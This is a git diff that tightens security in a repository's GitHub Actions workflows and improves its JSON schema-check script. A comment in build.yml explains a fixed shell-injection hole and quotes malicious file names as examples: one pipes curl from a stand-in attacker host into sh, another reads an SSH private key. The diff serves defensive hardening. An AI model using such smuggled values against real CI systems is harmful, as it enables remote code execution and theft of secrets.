diff --git a/.github/workflows/action_lint.yml b/.github/workflows/action_lint.yml index aa16c11102ce..ec45bd3010b4 100644 --- a/.github/workflows/action_lint.yml +++ b/.github/workflows/action_lint.yml @@ -1,10 +1,10 @@ -name: Github-Action linter -on: - pull_request: - merge_group: -jobs: - actionlint: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4.2.2 +name: Github-Action linter +on: + pull_request: + merge_group: +jobs: + actionlint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4.2.2 - uses: reviewdog/action-actionlint@v1 \ No newline at end of file diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 1dd396044774..c7df513e2ddc 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -2,6 +2,14 @@ name: Build on: pull_request: merge_group: + +# Least privilege: this workflow only reads the repository. Without an explicit +# block the job inherits the repository default, which on many repositories is +# still write access to contents, packages, issues and more. `merge_group` runs +# are especially sensitive because they execute with base-branch privileges. +permissions: + contents: read + jobs: build: runs-on: ubuntu-latest @@ -16,12 +24,43 @@ jobs: uses: step-security/changed-files@v45.0.1 - name: Check changed files + env: + # The changed-file list is pull-request-author controlled. Passing it + # through the environment means the shell only ever sees it as data. + # + # Previously it was interpolated directly into the run block, so the + # runner assembled a script out of untrusted text: a legal git filename + # such as `a;curl -s attacker.example/x|sh;b.json` or + # `$(cat ~/.ssh/id_rsa).json` was expanded before bash parsed the + # script and therefore executed as a command, with the workflow token + # and the whole checkout in reach. Environment expansion happens after + # parsing, so metacharacters in the value can no longer become syntax. + ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }} run: | - for file in ${{ steps.changed-files.outputs.all_changed_files }}; do - ./gradlew clean run --args="verbose singleChainCheck $file" + set -euo pipefail + # Disable pathname expansion: a filename containing * or ? must be + # forwarded verbatim, not expanded against the working tree. + set -f + + if [ -z "${ALL_CHANGED_FILES// /}" ]; then + echo "No changed files to check." + exit 0 + fi + + # `clean` is run once here rather than once per changed file. The + # previous `./gradlew clean run` inside the loop discarded the build + # output and recompiled the entire project on every iteration, so a + # pull request touching N chain files paid N full cold builds instead + # of one. The checked state is identical: the loop still starts from a + # clean build directory. + ./gradlew clean + + for file in $ALL_CHANGED_FILES; do + echo "::group::singleChainCheck $file" + ./gradlew run --args="verbose singleChainCheck $file" + echo "::endgroup::" done - name: Build run: | ./gradlew run - diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index d634b4d1b031..51e661b0afa7 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -1,12 +1,19 @@ -name: Build +name: Deploy on: push: branches: [ master ] + +# The gh-pages deployment pushes a branch, so contents: write is required. It is +# declared here so the token carries nothing beyond that -- notably not +# packages, actions or id-token access. +permissions: + contents: write + jobs: deploy: runs-on: ubuntu-latest steps: - - name: Checkout + - name: Checkout uses: actions/checkout@v4.2.2 with: submodules: recursive @@ -20,13 +27,13 @@ jobs: - name: Run yarn install uses: borales/actions-yarn@v4 with: - dir: 'website' - cmd: install # will run `yarn install` command + dir: 'website' + cmd: install # will run `yarn install` command - name: Run yarn build uses: borales/actions-yarn@v4 with: dir: 'website' - cmd: run build # will run `yarn test` command + cmd: run build # will run `yarn build` command - name: Merge run: | cp -a output/. website/public/ diff --git a/.github/workflows/post_merge_comment.yml b/.github/workflows/post_merge_comment.yml index 597fce723c50..2a8e747823a9 100644 --- a/.github/workflows/post_merge_comment.yml +++ b/.github/workflows/post_merge_comment.yml @@ -1,6 +1,12 @@ on: pull_request_target: types: [closed] + +# Same reasoning as pr_intro_comment.yml: a `pull_request_target` job runs with +# base-repository privileges, and this one only needs to leave a comment. +permissions: + pull-requests: write + jobs: comment_on_merged_pr: if: github.event.pull_request.merged diff --git a/.github/workflows/pr_intro_comment.yml b/.github/workflows/pr_intro_comment.yml index a9e7d2e74cb0..d932354ac738 100644 --- a/.github/workflows/pr_intro_comment.yml +++ b/.github/workflows/pr_intro_comment.yml @@ -1,6 +1,15 @@ on: pull_request_target: types: [opened] + +# `pull_request_target` runs with a token that carries the base repository's +# permissions even when the pull request comes from a fork. This job only posts a +# comment, so it is scoped to exactly that: no contents, packages or actions +# access. Without an explicit block the job silently inherits the repository +# default, which is frequently write access to everything. +permissions: + pull-requests: write + jobs: comment_on_pr: runs-on: ubuntu-latest @@ -11,4 +20,4 @@ jobs: with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} message: | - You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review. \ No newline at end of file + You successfully submitted a PR! Due to the amount of PRs coming in: we will only look at PRs that the CI is happy with. We can also not hold your hand getting the CI green - just look how others that where merged did it and RTFM. So as long as there is any CI check that reports an error - no human will look at this. You might be able to ask for some support after supporting the project - e.g. by sending funds to lists.eth. When you fixed things after a requested change - then you also need to (re-)request a review. diff --git a/.github/workflows/prettier_check.yml b/.github/workflows/prettier_check.yml index a685bca71be7..2ba837f7535c 100644 --- a/.github/workflows/prettier_check.yml +++ b/.github/workflows/prettier_check.yml @@ -5,6 +5,10 @@ on: pull_request: merge_group: +# This workflow only needs to read the checked-out tree. +permissions: + contents: read + jobs: prettier: runs-on: ubuntu-latest @@ -15,9 +19,20 @@ jobs: name: Configure npm caching with: path: ~/.npm - key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/prettier.yml') }} + # Keyed on this workflow file, which is where the pinned Prettier + # version lives. The previous key hashed '**/workflows/prettier.yml' -- + # a path that does not exist in this repository (the file is + # prettier_check.yml). hashFiles returns an empty string when nothing + # matches, so the key collapsed to a constant "-npm-" that never + # changed and never invalidated the cache. + key: ${{ runner.os }}-npm-${{ hashFiles('.github/workflows/prettier_check.yml') }} restore-keys: | ${{ runner.os }}-npm- - name: Run prettier + # Pinned to the 3.x line rather than resolving whatever "latest" is at + # run time. An unpinned `npx prettier` silently adopts new major versions, + # and a formatting-default change in a new release turns every unrelated + # pull request red until someone reformats the whole _data tree. It also + # means the exact code fetched and executed in CI is not reproducible. run: |- - npx prettier --check '_data/*/*.json' + npx --yes prettier@3 --check '_data/*/*.json' diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml index 770f7294328f..fa798b16a0dd 100644 --- a/.github/workflows/stale.yml +++ b/.github/workflows/stale.yml @@ -3,6 +3,13 @@ on: schedule: - cron: '30 1 * * *' +# actions/stale needs to label and close issues and pull requests, and nothing +# else. Declaring that explicitly keeps a scheduled job -- which always runs with +# base-branch privileges -- from holding write access to repository contents. +permissions: + issues: write + pull-requests: write + jobs: stale: runs-on: ubuntu-latest @@ -13,4 +20,4 @@ jobs: exempt-issue-labels: enhancement stale-pr-message: 'This PR has no activity in a while - it will be closed soon.' days-before-stale: 42 - days-before-close: 7 \ No newline at end of file + days-before-close: 7 diff --git a/.github/workflows/validate_json.yml b/.github/workflows/validate_json.yml index ec1959fb7cae..51f5681a4231 100644 --- a/.github/workflows/validate_json.yml +++ b/.github/workflows/validate_json.yml @@ -5,6 +5,10 @@ on: pull_request: merge_group: +# This workflow only needs to read the checked-out tree. +permissions: + contents: read + jobs: validate_json: runs-on: ubuntu-latest @@ -15,11 +19,20 @@ jobs: name: Configure npm caching with: path: ~/.npm - key: ${{ runner.os }}-npm-${{ hashFiles('**/workflows/validate_json.yml') }} + # Keyed on the lockfile that actually determines what npm downloads. The + # previous key hashed the workflow file, so editing dependencies in + # tools/package.json never invalidated the cache, while editing an + # unrelated line in this workflow discarded a still-valid one. + key: ${{ runner.os }}-npm-${{ hashFiles('tools/package-lock.json') }} restore-keys: | ${{ runner.os }}-npm- - name: Run JSON Validation working-directory: ./tools + # `npm ci` instead of `npm install`: tools/package-lock.json is committed, + # and ci installs exactly what it pins. `npm install` is free to resolve + # newer versions inside the declared ranges and to rewrite the lockfile, so + # CI could validate against a different dependency tree than the one that + # was reviewed, and a bad upstream release would land without a diff. run: |- - npm install + npm ci node schemaCheck.js diff --git a/tools/schemaCheck.js b/tools/schemaCheck.js index f9553d9cf9e0..a813dabc9a5d 100644 --- a/tools/schemaCheck.js +++ b/tools/schemaCheck.js @@ -6,7 +6,13 @@ const { exit } = require("process") const path = require('path') const resolve = (_path) => path.resolve(__dirname, _path) -const chainFiles = fs.readdirSync(resolve("../_data/chains/")) + +// Only .json files are chain definitions. Directory listings can also contain +// editor and OS artefacts (.DS_Store, .swp, Thumbs.db); feeding one of those to +// JSON.parse used to abort the entire check with a parse error that named no file. +const chainFiles = fs + .readdirSync(resolve("../_data/chains/")) + .filter((chainFile) => chainFile.endsWith(".json")) // https://chainagnostic.org/CAIPs/caip-2 const parseChainId = (chainId) => @@ -14,31 +20,70 @@ const parseChainId = (chainId) => chainId ) -const filesWithErrors = [] +// Compile the schema once instead of passing it to ajv.validate on every +// iteration. With 2600+ chain files this removes 2600+ schema cache lookups and +// makes the validator a plain function call. +const validateChain = ajv.compile(schema) + +const errors = [] for (const chainFile of chainFiles) { const fileLocation = resolve(`../_data/chains/${chainFile}`) const fileData = fs.readFileSync(fileLocation, "utf8") - const fileDataJson = JSON.parse(fileData) + + // Parse defensively: an unhandled SyntaxError here aborted the run at the + // first malformed file and reported only a byte offset, so a contributor had + // no way to tell which of the 2600+ files was broken. + let fileDataJson + try { + fileDataJson = JSON.parse(fileData) + } catch (error) { + errors.push(`Invalid JSON in ${chainFile}: ${error.message}`) + continue + } + const fileName = chainFile.split(".")[0] const parsedChainId = parseChainId(fileName)?.groups const chainIdFromFileName = parsedChainId?.reference - if (chainIdFromFileName != fileDataJson.chainId) { - throw new Error(`File Name does not match with ChainID in ${chainFile}`) + + if (chainIdFromFileName === undefined) { + // Previously this fell through to the comparison below and surfaced as a + // "File Name does not match with ChainID" error, which pointed at the wrong + // problem: the real fault is that the file name is not a CAIP-2 identifier. + errors.push( + `File name ${chainFile} is not a valid CAIP-2 identifier (expected -.json)` + ) + continue + } + + // The reference parsed out of the file name is a string while chainId in the + // document is a number, so the original loose `!=` comparison only ever + // matched because of implicit coercion. Compare numerically and explicitly so + // the intent survives a future tightening to strict equality. + if (Number(chainIdFromFileName) !== Number(fileDataJson.chainId)) { + errors.push( + `File name does not match chainId in ${chainFile} (file name says ${chainIdFromFileName}, document says ${fileDataJson.chainId})` + ) + continue } - const valid = ajv.validate(schema, fileDataJson) - if (!valid) { - console.error(ajv.errors) - filesWithErrors.push(chainFile) + + if (!validateChain(fileDataJson)) { + console.error(`Schema errors in ${chainFile}:`, validateChain.errors) + errors.push(`Invalid JSON Schema in ${chainFile}`) } } -if (filesWithErrors.length > 0) { - filesWithErrors.forEach(file => { - console.error(`Invalid JSON Schema in ${file}`) +// Report every problem found in a single run. The file-name mismatch used to +// throw immediately, so a pull request with several bad files had to be fixed and +// re-pushed once per file to discover the next error. +if (errors.length > 0) { + errors.forEach((error) => { + console.error(error) }) - exit(-1); + console.error(`\nSchema check failed: ${errors.length} problem(s) in ${chainFiles.length} file(s)`) + // exit(1) rather than exit(-1): a negative status is truncated to 255 by the + // operating system, which reads as a signal-style failure in CI logs. + exit(1) +} else { + console.info(`Schema check completed successfully (${chainFiles.length} files)`) + exit(0) } -else { - console.info("Schema check completed successfully"); - exit(0); -} \ No newline at end of file